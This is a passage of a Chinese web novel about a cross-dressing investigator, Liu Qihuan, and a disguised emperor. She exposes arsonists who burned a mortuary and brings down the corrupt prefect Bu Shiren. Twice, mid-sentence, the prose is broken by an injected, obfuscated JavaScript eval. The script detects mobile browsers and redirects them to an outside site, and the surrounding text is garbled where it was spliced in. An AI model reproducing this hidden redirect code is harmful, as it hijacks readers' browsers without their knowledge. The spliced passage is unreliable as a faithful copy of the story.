“嘿,真是小的随大的,都是茅坑里的石头,又臭又硬。那就饿死吧!” 傅常懿讨了个没趣儿,嘴巴愈发毒辣。 孙德升在旁边眨巴着眼睛瞧着这情况,有点纳闷于皇帝的行为。 自从少时离开淮南封地来到帝京,陛下的脾气就变得越来越古怪,已经很久没见陛下主动关心别人,除了户部员外郎卫大人偶尔能得两句陛下的温语,其他人是一概入不了他的法眼。 他忍不住端详起柳齐欢来,这会儿仔细看了看,他忽然觉得对方好像有那么一丁点眼熟。 “孙德升,看什么呢?”傅常懿皱眉,“你俩是不是认识,怎么他看你,你看他的?” 孙德升忙道:“陛,呃,公子,小的是瞧着齐公子有点眼熟。” “哦?”傅常懿来了兴致,“你也这么觉得?说说,像谁?” 他一直奇怪于自己为何看齐欢眼熟,没想到心腹太监跟自己有同样的感受。 孙德升眨眨眼睛,犹豫道:“不过,许是小的看错了,那人都去世好几年了。” “吞吞吐吐的,到底是谁?” “呃,就是前任内阁大学士,原已故元老忠烈侯家的独子,柳稷安。”孙德升顿了顿,斟酌着语气,“当然,也不是多么相像,就是眉眼有三分柳家公子的气度……” “柳稷安?这名字好像听过,朕怎么印象里没见过这个人?” 傅常懿思忖着,一动脑子,头就又有点疼。 其实对于忠烈侯,他倒是听说过。 原本是陪着皇爷爷打天下的武将,战功累累,恩泽深厚,可惜英年早逝,在一次战事中落了陷,战死沙场。 他回忆着自己与忠烈侯家人似乎没什么交集,又看向身旁太监。 孙德升小心翼翼道:“此人原系高祖皇帝己巳年间科考榜眼之材,因承袭父辈恩荫,便超拔了内阁大学士。可惜为官没几年后贪污腐败,先帝即位时就因谋反获罪处斩了,其名姓罪罚现在还钉在午门前的罪臣录碑上呐……” “哦,原来是早就死了的人,难怪朕没什么印象。”傅常懿听到父皇即位的字眼,又牵挂起当年的事,神色微变。 “是。陛下当时刚从淮南封地来到帝京,应当是没见过的……许是世间相貌俊俏的人,大抵都有几分相似之处,所以小的也许看错了眼……” 孙德升言语谨慎,毕竟先帝即位的手段不算光彩,又涉及到宫闱秘辛与罪臣,所以说每个字都时刻观察着面前人的脸色,生怕触及霉头。 好在,皇帝对这些过去,明显兴趣缺缺。 “行了,那些个陈谷子烂芝麻的旧事也不必说了。” 正当傅常懿百无聊赖之际,搜罗的人终于有了消息。 两名暗卫将几个身着杂役服的男人五花大绑,捆将上来,押到正堂所有人面前。同时,还有抬了只脏兮兮的木箱上来。 “快点,别磨磨蹭蹭的!” 几人一排跪下,傅常懿见他们外貌普通,并非自己所识之人。 “杀人放火的,就是这几个家伙吗?” 柳齐欢站在他们面前,观察了须臾,绕着走了一圈,指向其中两个男的。 “这俩就是昨夜火烧义庄的主谋。” 被指证的二人,一个缩着没说话,另一个激动道:“我们只是负责官中打杂的,怎么可能会纵火!更何况,昨夜我俩一直在衙门里,根本没出去过!” 反驳的人是个矮子男,贼眉鼠眼,一开口,柳齐欢就听出了他的声音,是那个“老赵”。 “别以为穿上杂役服就能掩饰,我自有证据。” 她说完,抬头对孙德升道:“抱歉,孙大人,请问你可有携带干净的手帕汗巾,借用一下?” 傅常懿早就停下吃东西,在旁认真地看她理证据,见其问孙德升要东西,插嘴道:“你怎么不问我要?” 柳齐欢回忆对方刚才脱下来的衣服,明明就没看见带着手帕之类的物件,便斜他一眼:“你有吗?” “我没有。” “那不就结了。” 傅常懿一本正经道:“可你也应该先问我,再问我的手下!” “……吃你的吧,别打岔。” 柳齐欢腹诽对方果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287844|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不通情理的纨绔,本来就够忙的,还在这插科打诨,拿公堂审案不当回事。 她懒得搭理对方,接过孙德升问手下借来的两条新汗巾,分别让两名嫌疑犯各自擦拭手掌或发髻。 杂役不明白这是要干什么,只得一边在照做,一边偷偷地瞅向卜世仁。 后者权当看不到,两眼望天。 擦拭完毕,只见汗巾都黑脏了一层,其中擦手的那张还有油渍。 “看吧,是脏的。”柳齐欢向众人展示。 嫌疑犯面面相觑,不服气道:“脏又怎么样,我们每天干那么多活,自然手脚脏些,难道这也能定我们的罪?” “自然能定。如两位所说,每天会干很多脏活,所以身上的衣服自然也应该会沾染些脏污。可你们穿的却都是干净簇新的杂役服,说明今天你们两人要么就没有干活,要么就是因为何故而特意换了衣服……” 二人刚欲张口反驳,就听柳齐欢道:“此其一。” 傅常懿道:“那第二呢?” “第二,这手帕上的油渍,各位可以闻一闻,是火油的味道。你们两个都是官中打杂的,怎么会接触到平日里不常见的火油?另外,大家都清楚,火油若是沾到皮肤或者衣料上很难清理,所以,若两个人没有纵火行径,为何手上会残留火油?” 一名嫌疑犯举着双手,大声道:“我手上可是干干净净,一点没有!” 柳齐欢直视对方道:“对,你手上是没有油渍,但是你手上有陈醋和皂角的味道。火油虽然难清理,但要是用陈醋加皂角,就能洗去七七八八。” 她扫视现场众人,走到旁边一直没有动过的箱笼,用指关节敲了敲:“当然,最重要的证据,还是要搜查你们的箱笼。” 听到这话,孙德升立马叫人掀开了箱子,只见里面杂乱地塞了几件脏衣,一开箱子就能闻到浓郁的烟熏火燎的味道。 “火烧义庄的时候,你们搬了不少木柴稻草火油,又守在那儿半天,身上的衣服不可避免会染上痕迹。” 孙德升拿来一柄佩刀,挑起里面的衣物靴子检查,发现不仅有火油的污渍,还有一件外套的袍角被烧过。 他摔下衣物,长刀利落地抽出,呵斥道:“好啊,现在人证物证俱在,还想怎么抵赖?赶紧说出实情,还能饶你们不死!” 跪着的嫌疑犯们俱被刀光吓得一震,那老赵立马道:“大人饶命,我们是……” 不等他告饶,卜世仁早把惊堂木狠命一拍:“竟敢在本官眼皮子底下,行此等草菅人命蓄意纵火之事!该当何罪!” 他急切地嗓音都尖利了起来:“来人,把他们拖下去大刑伺候!” “且慢!” 柳齐欢喝止住,声音掷地有声:“烦请大人先盘问清楚,再行惩罚,否则怕是有屈打成招之嫌。” 她目光锐利,仿佛能穿透堂上之人。 卜世仁心里“咯噔”一下,有种心里打得算盘都被看透的感觉。 “既然已经有证据,何须多言,不如……哎呦!” 他没说完,傅常懿手中的扔出来的一颗花生,正打中他的眼睛。 “本公子还没问呢,你急什么,急着退堂啊?” 他站起身,伸出手,冲知府勾了勾指头:“你,下来。” 卜世仁左右看看,暗卫正虎视眈眈,师爷朝他苦着脸,做了个无可奈何的表情。 他只好捂着左眼,从太师椅上蹭下来。 傅常懿冲柳齐欢昂了昂下巴,唇角勾起一抹邪性的笑。 “你,上去审。” 22. 所求事 柳齐欢和傅常懿不是第一次打交道,对于他各种不按常理出牌的言行举止已经开始习以为常。 所以,当听到对方说出让她上堂审案的匪夷所思之语,并没有太大的反应,只是不清楚对方葫芦里打算卖什么药,态度依旧谨慎。 “本人并无官阶,坐不得那个位置。” “我叫你坐,你就坐,出了什么事有本公子担着,怕什么!” 听到傅常懿如此冒失且不掂量后果的言辞,她忍不住想笑,但扫视了一圈在场众人后,还是忍住了,无语地摇了摇头。 “人多口杂,我劝你还是谨言慎行。” 孙德升见状,忙低声道:“陛下,您现在是都御史二公子的身份,说这些话,确实有僭越谋反的嫌疑……当然,若是用天子身份则无虞。奴才要不要请来印玺圣旨,为您更换冠冕龙袍,昭显真身……” 他最后一句,小心试探着询问面前人的意见。 往常他就经常打配合,替微服出巡的皇帝遮掩。可若涉及眼下的情况,还是亮明身份更方便一些。 傅常懿本打算看知府与贱民互换角色的好戏,孙德升的话倒是提醒了他。 “……算了,不必要引起百姓惶恐,就当我是二公子吧。” 原本还想着等审完案,换上龙袍吓唬吓唬狗知府来取乐,但是自打被臭小子验身后,他内心就改主意了,有了新的想法。 “那二公子,这卜世仁……” “我站着,他哪有坐着的道理?” 傅常懿撂下这句话,大摇大摆地坐上了知府的位置。 场面变得有些滑稽,堂上审判的官员成为了跪在地上的人,而原本公堂下的“杀人犯”却堂而皇之地坐在四品朝廷命官的交椅上。 卜世仁也想站起来,但奈何肩膀被孙德升按着,似有千斤重,腿更是软了不听话,不得不歪跪于地。 眼下官不成官,民不像民,从大闹府衙,到洒金弄案,庄严肃穆的府衙公堂俨然成了纨绔的戏耍之地。 柳齐欢无声地叹了口气,只好把精力放在审案上。 好处是经过傅常懿的几次捣乱,接下来的盘问没有了知府的阻拦,变得异常顺利。 她事无巨细地质询那几个涉案的杂役,旁边的记录官将证词悉数誊抄在纸。 可惜,他们除了承认受人指使做下抓傅常懿顶罪及放火烧义庄等事外,并不承认做过其他,至于柳傅二人想要调查的仵作之死,背后指使之人是谁,更是一概不知。 “拿人钱财,替人消灾。我们跟那人没有直接接触,都是对方派蒙面黑衣人送来东西。” “那你们有约定下次见面时间么?” “没有,那人就只是给了银子,说了要求。以前有几个原告被告贿赂我们,也是这么干的……大人们,求求您饶了我们吧!” “……” 傅常懿本以为污蔑自己的是什么来头不小的江湖刺客,又或者与前阵子投毒案有关,然而就算给几个家伙施刑笞打,也没有问到什么有用的信息。 他不禁大失所望,脸色逐渐阴霾。 卜世仁也挨了打,从他嘴里只掏出来一句,同样是有黑衣人封了三千两银子的贿赂来,要求他前往酒楼抓捕杀人犯,其他事宜则都与其无关。 他死不承认自己有意置傅常懿死地,只连连叩头求饶。 “我,我本以为是件简单就能办好的小事……谁曾想……常公子,下官是真不知道您的身份啊!” “看来幕后主使,应该与杀死仵作的真凶有脱不开的关系。” 柳齐欢一边总结分析套问的情况,一边看向堂上的人:“对方跟你似乎有深仇大怨,而且对你的行踪也了如指掌……你有什么仇家么?” 傅常懿对上她审视的目光,不屑地笑了下:“那可多了去了。” 能知晓他离宫行踪的人,有御前近卫,文臣武官、宫人奴才。 他经常微服出巡几乎是朝中人尽皆知的事,谁都有可能伺机谋害,更不用说之前已经遭遇过一回投毒。 柳齐欢觉得他这话说的,颇有点虱子多了不痒的意思,内心思量了片刻,一针见血道:“既然仇家遍地,就算这次洗去污蔑罪名,你的命怕也迟早难保。” 此话一出,孙德升冷汗都下来了,心道不愧是敢忤逆先帝的前探花,敢断言朝臣贵子短命早死,更不用说傅常懿本身还是皇帝。 在大梁,谶纬或者诅咒圣君可是死罪。 他佩服于对方审案的才能和胆量,但以傅常懿的性格,指定不会轻饶,他不禁为面前人感到可惜。 就在孙德升思考要不要开口打个圆场,或者直接把忤逆贱民齐欢拿下时,堂上的傅常懿突然大笑起来。 他诧异道:“公子……” 傅常懿摆手制止他,认真地注视着柳齐欢,脸上还挂有意味不明地笑意。 “可惜本公子命太硬,总有贵人相助,逢凶化吉,大难不死。想要我的命,倒要看某些人有没有那个本事了。” 他最后一句加重了语气,知府师爷杂役悉皆明白是在点他们,纷纷告饶。 “卜知府,案情已经审理的差不多了,你觉得应该怎么处置你的手下?” 傅常懿把玩着手里的红头令签,锐利地目光落在堂下人的背上。 卜世仁汗流浃背,颤颤道:“呃……按,按大梁律例,蓄意纵火、毁尸灭迹者应……下狱问斩。” 老赵等人一听,登时互相攀咬:“我们明明都是受了你的指使!你休想把自己摘干净!” “本官不过是收受贿赂而已,你们的烧杀行径与我无关!” 两方如同恶犬相斗,狗咬狗地厮打辱骂起来。 孙德升赶紧叫暗卫掌嘴几人,喝令他们闭嘴。 傅常懿看好戏似的,慢悠悠道:“不着急,你们一个也逃不了。卜世仁你觉得该如何处置?” 他目光望着的是柳齐欢,询问她的意见。 “……既然常公子的令尊为都御史长官,应该也了解按照大梁律例怎么处置一府官员吧。” 柳齐欢见他问自己,略想了想后,反问。 傅常懿眉头微微挑了一下,看出对方又是在借机试探自己身份。 然而,他确实不学无术,有关刑部、大理寺等部提交的奏折,几乎没怎么看过,更不用说熟读梁律了,于是瞟向了孙德升。 孙德升拼命转动脑筋,眼睛眨了半天,终于想到了说辞。 “都御史大人早已搜集了帝京府知府的罪证呈报给朝廷,并吩咐我等前来捉拿罪臣归案。幸得齐公子鼎力协助,现在即以查清卜世仁犯有贪污受贿、胡乱判案、监管不严等罪责,按例由本部将其捉拿回刑部,通知三法司会审,交由圣上裁决!” 他说完,便命令道:“将罪臣卜世仁及一干人等拿下!” 府卫军及暗卫雷厉风行,立时将卜知府求饶的嘴拿抹布堵上,连带所有嫌犯一并扭送带下堂去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298610|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳齐欢抬起双臂,向孙德升拱手道:“烦请孙大人,等三司会审出结果后,能否告知在下一声?” 经过今日一番审案下来,孙德升不敢小瞧面前人,也心知傅常懿让自己调查对方,恐有重视的意思。 他忙左手在上,回礼道:“自然,出了结果定会告知公子,也感谢齐公子今日出力,下官定会奏明三司,到时论功行赏……” “孙大人,这个倒不必了,在下只是区区贱民,本为戴罪之身,不敢居功。还请大人勿要向朝廷提及在下,多谢。” 柳齐欢婉言谢绝了对方上奏的好意,不想多惹麻烦。 今日若不是为了查找杀死仵作的凶手,寻找柳家案的线索,她也不一定会冒着暴露身份的风险,跑来大闹府衙。 只是…… 她蹲下身,望着仵作蒙着白布的尸身,内心默默地向对方道歉,打扰了他的安息。 孙德升接到皇帝的眼神示意,又道:“不知齐公子接下来准备如何处理这位死者的后事?若是需要帮忙,可以尽管告诉在下。” “我会带回北司圜好好安葬的,多谢大人费心。” 柳齐欢顿了顿,看向已经走下堂来的傅常懿:“常公子,我已经帮你洗去污蔑罪名,现在你要帮我做一件事了。” “说吧,本公子既然答应了,就绝对做到。” 柳齐欢与齐鸿一同扶起旁边跪了许久的杨母,接着从怀里掏出了一张叠好的状纸。 傅常懿认出来,是他在她家中看到的那份诉状。 “二位,现在帝京府知府已经收押,新任知府不知何时能到任,更不知何时能申明冤屈。所以,我想请你们帮忙将此诉状递交大理寺,处置陈员外及恶霸陈潘,抚恤老年丧子的寡母杨大娘,还受害死者杨连一个公道。” “……你所求之事,是为了别人?” “是。” “……这事倒不难办,孙德升。” 傅常懿把诉状给孙德升,对方立马领了命令,叫几名暗卫带着杨大娘前往大理寺,随知府案一同上报处理。 杨母瞬间老泪纵横,颤颤巍巍地就要扑倒跪地谢恩:“齐公子,常公子,孙大人,你们都是我和我儿的大恩人呐……” 傅常懿吓了一跳,忙伸手扶住对方:“使不得,您都这么大年纪了,快别跪了!” 柳齐欢搀扶着她道:“大娘,我随您一同去申诉吧。” 孙德升道:“齐公子,我看这诉状条理清晰,内容详实,再加上有在下监督,定能迅速判决。你身上还有伤,就别再费力跑一趟了。” 杨大娘也忙道:“恩人,相信大理寺能为我申冤的。你伤病在身,就莫要再为我费心了,还是回去休息治疗要紧。” 齐鸿跟着劝道:“是啊,你还是先回去休息吧,杨大娘的案子肯定能处理好的。” 见众人如此说,柳齐欢想了想,缓缓点头,不放心道:“若是有什么问题,请及时沟通,我定当尽心竭力协助。” 杨大娘怜爱地拍了拍她的手,跟着孙德升也下去了。 理清完一场官司,柳齐欢的力气仿佛一下子被抽光了,满脸的疲惫。 她感到屁股上的伤处越来越痛,强撑着精神道:“鸿儿,咱们也走吧。” 齐鸿点点头,乖乖地扶着她离开。 二人刚踏出府衙大门的门槛,后面就跟上来急促地脚步声。 “喂,你们两个也不管我,就自己走了?”